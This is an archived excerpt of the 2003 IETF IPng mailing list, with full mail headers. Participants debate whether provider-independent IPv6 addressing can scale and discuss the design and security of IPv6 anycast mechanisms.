	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA07838
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:44:52 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.31])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id GAA19089;
	Mon, 27 Jan 2003 06:43:47 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127093010.03628040@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 09:41:03 -0500
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Margaret Wasserman <mrw@windriver.com>
Subject: RE: Enforcing unreachability of site local addresses
Cc: "Tim Hartrick" <tim@mentat.com>, <ipng@sunroof.eng.sun.com>
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B6B@server2000.arneill-py
 .sacramento.ca.us>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



>This is the semantics police speaking:
>PI = Does *NOT* scale.

Starting with this assumption leads us to two bad choices.  Maybe it
is time to question this assumption?

>Same here. I did not comment on this before, but I think that what
>Margaret really means here is:
>
>   > This is the crux of why I believe that we will need to find a
>| > way to return to **A SYSTEM THAT PROVIDES THE PERKS OF** stable,
>   > provider-independent, globally-routable addresses to avoid NAT
>   > in IPv6.

I said what I really meant...

I think that we should find a way to return to stable, globally-routable,
provider-independent addresses that are allocated to homes & enterprises.
Addresses that do not change when you change ISPs, and that cannot be
changed by your ISP.  Real PI addresses.  Just like the original addresses
allocated in IPv4.

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 06:45:40 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REje16024841;
	Mon, 27 Jan 2003 06:45:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0REjeUh024840;
	Mon, 27 Jan 2003 06:45:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REja16024830
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:45:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0REjiVL026517
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:45:45 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA26556
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:45:35 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0REjSc15006;
	Mon, 27 Jan 2003 16:45:29 +0200
Date: Mon, 27 Jan 2003 16:45:28 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Brian Haberman <bkhabs@nc.rr.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re:a few comments on anycast mechanisms
In-Reply-To: <3E353415.5040005@nc.rr.com>
Message-ID: <Pine.LNX.4.44.0301271624000.14310-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Mon, 27 Jan 2003, Brian Haberman wrote:
> > There are a _lot_ of issues there, especially if one anycast address can
> > have joins from across multiple routers.  Even more so if from across
> > multiple sites/AS's, or more specifically (with some terminology pixie
> > dust)  an IGP/iBGP area -- a region where propagating host routes is
> > acceptable.  But I'd recommend sticking to a site, the rest is way too
> > difficult for now.
> 
> Within a site it is no big deal.  Routers with attached anycast members
> would inject a host-route for the anycast group into the IGP.

Well.. there are some issues, like propagation of <source,anycast> 
validation information everywhere.
 
> The big issue is with inter-site anycast.  A host route from a foreign
> domain (i.e. not the prefix owner) could actually prevent anycast
> traffic from reaching the owning domain unless explicit config allowed
> for the "leaking" of the host route out of the home domain.

I see this as something that should be explicitly defined out-of-scope for 
these kind of anycast mechanisms.
 
> > Thus by far the easiest way to enable anycast on hosts seems to be a
> > requirement for them to participate in a routing protocol.  Something like
> > BGP is good for this (not ideal: too much weight).  Simpler protocols can
> > of course also be used; the most important thing is to pick one which
> > allows your neighbor(s) to filter out any advertisements excluding the
> > anycast addresses(es) -- so that you can't hose the routing to other than
> > the anycast address(es) itself even in the worst case scenario.
> 
> One point of feedback we got from Itojun was that he preferred having
> the hosts participate in the routing protocol (typically an IGP).  No
> one else has really stated an opinion on this work.

I deem most IGP's insecure as the compromise of one node can do too much 
harm.  Therefore using iBGP w/route-reflection as an "IGP" with strict 
route-map's in the neighbors controlling the advertised information seems 
vastly preferable.
 
> > ==> the problems with such a measure seems to be that:
> >  1) MLD message does not signify other than link-local addresses AFAIR
> 
> Not sure what you mean.  Are you referring to the use of link-local
> addresses in the IP header?  The group address within the MLD packet
> can be of any scope.

Source addresses, yes.  Otherwise anyone on the link could join an anycast 
group.  Granted, without SEND, one could still do some hackery and capture 
the traffic anyway, but having some protection rather than nothing would 
be useful.

> >  2) some addresses are easily spoofed.
> > 
> > Of course, to be complete, some "reverse-path verification" for addresses, 
> > if routable unicast, would have to be done.
> > 
> How so?  If a host joins an anycast group, it could be using any
> unicast address.  What is the reverse-path check being done on?

The unicast address.  The point is to restrict those who can join to a
group to only a few, legal unicast addresses.  And that those MLD joins to
a group using unicast address X would actually require that X would be
routed to the interface/subnet from where the MLD join came from
(otherwise -> bombing/DoS attacks).

Or was there some misunderstanding..?

> > 2) draft-haberman-ipv6-anycast-rr-00.txt (IPv6 Anycast Binding using 
> > Return Routability) -- Oct 2002.
> > 
> > ==> Mobile IPv6 has progressed a bit and the draft needs a house-keeping 
> > update but the concept is clear.
> 
> Agreed.  I have not had time to update this work yet.

I wouldn't worry about that much yet..

> >  - the high number of packets exchanged before commencing with real TCP 
> > traffic
> 
> What is high?  The figure on page 2/3 shows a total of seven messages
> that have to be exchanged in order to establish a TCP session.  These
> messages would be needed for MIPv6 as well.

Depends on the scope, of course.  To me, exchaning 7+3 messages just to
open a TCP session seems like a lot.  Especially when most, effective
anycast+TCP traffic should be short-lived (so routing changes do not
become a significant problem).

OTOH, anycast is currently applicable in site-internal traffic only where 
you can expect low network latency, ie no big problems except for the 
packet overhead.

> > 3) that's it.  
> > 
> > My own, very raw idea for anycast + TCP: a new ICMP message, including the
> > seq number (or equivalent protocol-specific information)  of the
> > just-received TCP SYN, indicating the unicast address which should be used
> > instead of the included anycast address.
> 
> My original thought was to signal back the mapping using ICMP.  The
> mapping authentication capability of the RR procedure gives a better
> level of security than a plain ICMP message.

I agree with you here .. but ICMP could give you enough strong 
authorization with basically zero added messages.

That would depend a bit on the strength of initial sequence number and
relatively short-lived SYN_SENT data.  I believe this could be an
acceptable tradeoff.  This could be further remedied by specifying that if
more than X (e.g. 3) wrong ICMP packets would be received pertaining this
connection, the rest would be ignored; this would be then have the success
probability of about 3*2^-32 (best case scenario).  In the worst case, not
much different than remote TCP sequence number guessing anyway.

TCP could also send an authentication token destination option (including
a stronger SYN), of course, but that would require anycast be 
distinguishable before sending the initial TCP SYN: a non-starter.

> Setting up an IPv6 anycast WG has been discussed in the past.  Perhaps
> if there is interest, we could pursue it again.

Well, anycast doesn't seem to be progressing otherwise, but I'm not sure
whether there's enough push for it (ie. could it be required by enough
autoconfiguration etc. mechanisms to be worth the effort).. the only I
could see it going forward would be as a separate WG.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 07:00:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RF0x16025129;
	Mon, 27 Jan 2003 07:00:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RF0xfV025128;
	Mon, 27 Jan 2003 07:00:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RF0t16025121
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:00:55 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RF14VK006697
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:01:04 -0800 (PST)
Received: from ms-smtp-02.southeast.rr.com (ms-smtp-02.southeast.rr.com [24.93.67.83])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA26686
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:00:59 -0700 (MST)
Received: from mail5.nc.rr.com (fe5 [24.93.67.52])
	by ms-smtp-02.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0RExpo5018815;
	Mon, 27 Jan 2003 09:59:51 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 27 Jan 2003 09:59:15 -0500
Message-ID: <3E3549A6.40204@nc.rr.com>
Date: Mon, 27 Jan 2003 10:00:54 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Pekka Savola <pekkas@netcore.fi>
CC: ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
References: <Pine.LNX.4.44.0301271624000.14310-100000@netcore.fi>
In-Reply-To: <Pine.LNX.4.44.0301271624000.14310-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka Savola wrote:
> On Mon, 27 Jan 2003, Brian Haberman wrote:
> 
>>>There are a _lot_ of issues there, especially if one anycast address can
>>>have joins from across multiple routers.  Even more so if from across
>>>multiple sites/AS's, or more specifically (with some terminology pixie
>>>dust)  an IGP/iBGP area -- a region where propagating host routes is
>>>acceptable.  But I'd recommend sticking to a site, the rest is way too
>>>difficult for now.
>>
>>Within a site it is no big deal.  Routers with attached anycast members
>>would inject a host-route for the anycast group into the IGP.
> 
> 
> Well.. there are some issues, like propagation of <source,anycast> 
> validation information everywhere.

Sure.  I was referring more to the routing issue.  Within a site,
the scale of propogating the authentication information is much
smaller and better understood.

>  
> 
>>The big issue is with inter-site anycast.  A host route from a foreign
>>domain (i.e. not the prefix owner) could actually prevent anycast
>>traffic from reaching the owning domain unless explicit config allowed
>>for the "leaking" of the host route out of the home domain.
> 
> 
> I see this as something that should be explicitly defined out-of-scope for 
> these kind of anycast mechanisms.

So would I, except it is supported today in v4.

>  
> 
>>>Thus by far the easiest way to enable anycast on hosts seems to be a
>>>requirement for them to participate in a routing protocol.  Something like
>>>BGP is good for this (not ideal: too much weight).  Simpler protocols can
>>>of course also be used; the most important thing is to pick one which
>>>allows your neighbor(s) to filter out any advertisements excluding the
>>>anycast addresses(es) -- so that you can't hose the routing to other than
>>>the anycast address(es) itself even in the worst case scenario.
>>
>>One point of feedback we got from Itojun was that he preferred having
>>the hosts participate in the routing protocol (typically an IGP).  No
>>one else has really stated an opinion on this work.
> 
> 
> I deem most IGP's insecure as the compromise of one node can do too much 
> harm.  Therefore using iBGP w/route-reflection as an "IGP" with strict 
> route-map's in the neighbors controlling the advertised information seems 
> vastly preferable.
>  
> 
>>>==> the problems with such a measure seems to be that:
>>> 1) MLD message does not signify other than link-local addresses AFAIR
>>
>>Not sure what you mean.  Are you referring to the use of link-local
>>addresses in the IP header?  The group address within the MLD packet
>>can be of any scope.
> 
> 
> Source addresses, yes.  Otherwise anyone on the link could join an anycast 
> group.  Granted, without SEND, one could still do some hackery and capture 
> the traffic anyway, but having some protection rather than nothing would 
> be useful.

One possibility is an ICMP option that includes an authentication
key or some dependency on SEND.

> 
> 
>>> 2) some addresses are easily spoofed.
>>>
>>>Of course, to be complete, some "reverse-path verification" for addresses, 
>>>if routable unicast, would have to be done.
>>>
>>
>>How so?  If a host joins an anycast group, it could be using any
>>unicast address.  What is the reverse-path check being done on?
> 
> 
> The unicast address.  The point is to restrict those who can join to a
> group to only a few, legal unicast addresses.  And that those MLD joins to
> a group using unicast address X would actually require that X would be
> routed to the interface/subnet from where the MLD join came from
> (otherwise -> bombing/DoS attacks).
> 
> Or was there some misunderstanding..?

It sounds like you want to restrict anycast members to a single
link or that an anycast prefix has to be configured on multiple
interfaces around the network.

> 
> 
>>>2) draft-haberman-ipv6-anycast-rr-00.txt (IPv6 Anycast Binding using 
>>>Return Routability) -- Oct 2002.
>>>
>>>==> Mobile IPv6 has progressed a bit and the draft needs a house-keeping 
>>>update but the concept is clear.
>>
>>Agreed.  I have not had time to update this work yet.
> 
> 
> I wouldn't worry about that much yet..
> 
> 
>>> - the high number of packets exchanged before commencing with real TCP 
>>>traffic
>>
>>What is high?  The figure on page 2/3 shows a total of seven messages
>>that have to be exchanged in order to establish a TCP session.  These
>>messages would be needed for MIPv6 as well.
> 
> 
> Depends on the scope, of course.  To me, exchaning 7+3 messages just to
> open a TCP session seems like a lot.  Especially when most, effective
> anycast+TCP traffic should be short-lived (so routing changes do not
> become a significant problem).
> 
> OTOH, anycast is currently applicable in site-internal traffic only where 
> you can expect low network latency, ie no big problems except for the 
> packet overhead.

So, for intra-site the extra messages are OK but not for inter-site
anycast?

> 
> 
>>>3) that's it.  
>>>
>>>My own, very raw idea for anycast + TCP: a new ICMP message, including the
>>>seq number (or equivalent protocol-specific information)  of the
>>>just-received TCP SYN, indicating the unicast address which should be used
>>>instead of the included anycast address.
>>
>>My original thought was to signal back the mapping using ICMP.  The
>>mapping authentication capability of the RR procedure gives a better
>>level of security than a plain ICMP message.
> 
> 
> I agree with you here .. but ICMP could give you enough strong 
> authorization with basically zero added messages.

In order for the client to verify the authentication information in
the ICMP message, we would need a key distribution mechanism.

> 
> That would depend a bit on the strength of initial sequence number and
> relatively short-lived SYN_SENT data.  I believe this could be an
> acceptable tradeoff.  This could be further remedied by specifying that if
> more than X (e.g. 3) wrong ICMP packets would be received pertaining this
> connection, the rest would be ignored; this would be then have the success
> probability of about 3*2^-32 (best case scenario).  In the worst case, not
> much different than remote TCP sequence number guessing anyway.
> 
> TCP could also send an authentication token destination option (including
> a stronger SYN), of course, but that would require anycast be 
> distinguishable before sending the initial TCP SYN: a non-starter.
> 
> 
>>Setting up an IPv6 anycast WG has been discussed in the past.  Perhaps
>>if there is interest, we could pursue it again.
> 
> 
> Well, anycast doesn't seem to be progressing otherwise, but I'm not sure
> whether there's enough push for it (ie. could it be required by enough
> autoconfiguration etc. mechanisms to be worth the effort).. the only I
> could see it going forward would be as a separate WG.
> 

The big issue is how will anycast be used.  In general, I see it as a
discovery mechanism.  Once an anycast server responds, the client uses
the server's unicast address for communication.

Other views?

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 07:40:37 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RFea16025591;
	Mon, 27 Jan 2003 07:40:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RFeah6025590;
	Mon, 27 Jan 2003 07:40:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RFeX16025583
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:40:33 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RFefVK015396
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:40:42 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA20983
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:40:35 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0RFe4515390;
	Mon, 27 Jan 2003 17:40:04 +0200
Date: Mon, 27 Jan 2003 17:40:04 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Brian Haberman <bkhabs@nc.rr.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
In-Reply-To: <3E3549A6.40204@nc.rr.com>
Message-ID: <Pine.LNX.4.44.0301271724170.14310-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Mon, 27 Jan 2003, Brian Haberman wrote:
> >>The big issue is with inter-site anycast.  A host route from a foreign
> >>domain (i.e. not the prefix owner) could actually prevent anycast
> >>traffic from reaching the owning domain unless explicit config allowed
> >>for the "leaking" of the host route out of the home domain.
> > 
> > 
> > I see this as something that should be explicitly defined out-of-scope for 
> > these kind of anycast mechanisms.
> 
> So would I, except it is supported today in v4.

Well, it's supported today with IPv6.  It just isn't automatic.  As with 
IPv4.

> > The unicast address.  The point is to restrict those who can join to a
> > group to only a few, legal unicast addresses.  And that those MLD joins to
> > a group using unicast address X would actually require that X would be
> > routed to the interface/subnet from where the MLD join came from
> > (otherwise -> bombing/DoS attacks).
> > 
> > Or was there some misunderstanding..?
> 
> It sounds like you want to restrict anycast members to a single
> link or that an anycast prefix has to be configured on multiple
> interfaces around the network.

I don't understand what you're saying, so let me try to clarify.

If node X wants to join an anycast group G with unicast address U_x, there
will have to be explicit authorization for (U_x, G); further, further the
report for (U_x, G) must come from an interface for which U_x is reachable
-- that is, where (loose) uRPF route points to.

Node Y could not report (U_x, G) from node Y's link unless U_x would be
routed there.  Node Y could not report (U_y, G{_any}) either unless 
authorized by explicit configuration.

> > Depends on the scope, of course.  To me, exchaning 7+3 messages just to
> > open a TCP session seems like a lot.  Especially when most, effective
> > anycast+TCP traffic should be short-lived (so routing changes do not
> > become a significant problem).
> > 
> > OTOH, anycast is currently applicable in site-internal traffic only where 
> > you can expect low network latency, ie no big problems except for the 
> > packet overhead.
> 
> So, for intra-site the extra messages are OK but not for inter-site
> anycast?

Well, I'm not sure whether conclusions could be drawn based on this, but 
in intra-site traffic the overhead in setting up a TCP session probably 
would not be noticeable.

> >>>3) that's it.  
> >>>
> >>>My own, very raw idea for anycast + TCP: a new ICMP message, including the
> >>>seq number (or equivalent protocol-specific information)  of the
> >>>just-received TCP SYN, indicating the unicast address which should be used
> >>>instead of the included anycast address.
> >>
> >>My original thought was to signal back the mapping using ICMP.  The
> >>mapping authentication capability of the RR procedure gives a better
> >>level of security than a plain ICMP message.
> > 
> > 
> > I agree with you here .. but ICMP could give you enough strong 
> > authorization with basically zero added messages.
> 
> In order for the client to verify the authentication information in
> the ICMP message, we would need a key distribution mechanism.

No.  ICMP would contain critical parts of the TCP header, including TCP 
sequence number.  This, and the state the initiator has about that 
particular connection would be enough.

> > Well, anycast doesn't seem to be progressing otherwise, but I'm not sure
> > whether there's enough push for it (ie. could it be required by enough
> > autoconfiguration etc. mechanisms to be worth the effort).. the only I
> > could see it going forward would be as a separate WG.
> > 
> 
> The big issue is how will anycast be used.  In general, I see it as a
> discovery mechanism.  Once an anycast server responds, the client uses
> the server's unicast address for communication.
> 
> Other views?

I think the whole concept of anycast needs a bit clarification.  

One area of applicability would be to replace these interdomain
"BGP-anycast"  -mechanisms with something like this (to make it possible
to identify who you're speaking to etc.), but that's a difficult problem, 
probably not worth pursuing.

That leaves us basically with a discovery mechanism for site/ISP-internal 
services.  This would be mostly beneficial with something like site-local 
addressing, for hardcoding addresses: when you already have to know the 
prefix, it isn't all that much use to use anycast to discover e.g. DNS 
servers when you already have to configure the prefix.

The third area of applicability would be providing failover/high 
availability services for a service.  The anycast seems like an option but 
not really bringing much new to the discussion.

I guess the situation with IPv6 anycast is partially blurred by our
current trend of using IGP/BGP advertisement tricks to create
pseudo-anycast addresses.  If these did not exist, there would be a lot
more to do.  One possibility, of course, would be to try to get some added
value from there: e.g. by trying to make using such services easier with
stuff like MLD, create an API so when app would crash the service would go
on, etc.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 07:55:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RFtX16025718;
	Mon, 27 Jan 2003 07:55:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RFtXnA025717;
	Mon, 27 Jan 2003 07:55:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RFtT16025710
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:55:29 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RFtcVK018713
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:55:38 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA24112
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 07:55:33 -0800 (PST)
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 07:55:32 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6C@server2000.arneill-py.sacramento.ca.us>
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLFxK+M6wBbOfnKT++YP1kZk3xE1wAVyz8A
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0RFtU16025711
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>> Michel Py wrote:
>> PI = Does *NOT* scale.

> Dan Lanciani wrote:
> Please define "PI".

ftp://ftp.ripe.net/ripe/docs/ripe-185.txt


> Please define "scale".

One billion end-sites. This is the baseline number for multihoming
solutions. Smaller numbers have been deemed insufficient.

One billion routes in the global routing table = does not scale. We're
having issues with a little over 100k today. Considering multiplying the
size of the routing table by 10,000 is not serious.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 08:07:01 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RG7116025842;
	Mon, 27 Jan 2003 08:07:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RG71fr025841;
	Mon, 27 Jan 2003 08:07:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RG6v16025831
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:06:57 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RG76VK021147
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:07:06 -0800 (PST)
Received: from d06lmsgate-5.uk.ibm.com (d06lmsgate-5.uk.ibm.com [195.212.29.5])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA03453
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 09:06:59 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d06lmsgate-5.uk.ibm.com (1.0.0) with ESMTP id QAA80590;
	Mon, 27 Jan 2003 16:04:42 GMT
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0RG5sKt128758;
	Mon, 27 Jan 2003 17:05:55 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA30430 from <brian@hursley.ibm.com>; Mon, 27 Jan 2003 17:05:49 +0100
Message-Id: <3E3558B2.6E7A2C02@hursley.ibm.com>
Date: Mon, 27 Jan 2003 17:05:06 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Margaret Wasserman <mrw@windriver.com>
Cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Tim Hartrick <tim@mentat.com>, ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <5.1.0.14.2.20030127093010.03628040@mail.windriver.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret Wasserman wrote:
> 
> >This is the semantics police speaking:
> >PI = Does *NOT* scale.
> 
> Starting with this assumption leads us to two bad choices.  Maybe it
> is time to question this assumption?
> 
> >Same here. I did not comment on this before, but I think that what
> >Margaret really means here is:
> >
> >   > This is the crux of why I believe that we will need to find a
> >| > way to return to **A SYSTEM THAT PROVIDES THE PERKS OF** stable,
> >   > provider-independent, globally-routable addresses to avoid NAT
> >   > in IPv6.
> 
> I said what I really meant...
> 
> I think that we should find a way to return to stable, globally-routable,
> provider-independent addresses that are allocated to homes & enterprises.
> Addresses that do not change when you change ISPs, and that cannot be
> changed by your ISP.  Real PI addresses.  Just like the original addresses
> allocated in IPv4.

But the problem remains as hard as it was in 1992. We don't know how
to aggregate routes for such addresses, and we don't know how to scale
the routing system without aggregation. Solve either of those
problems and you're done.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 08:22:02 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RGM216026051;
	Mon, 27 Jan 2003 08:22:02 -0800 (PST)
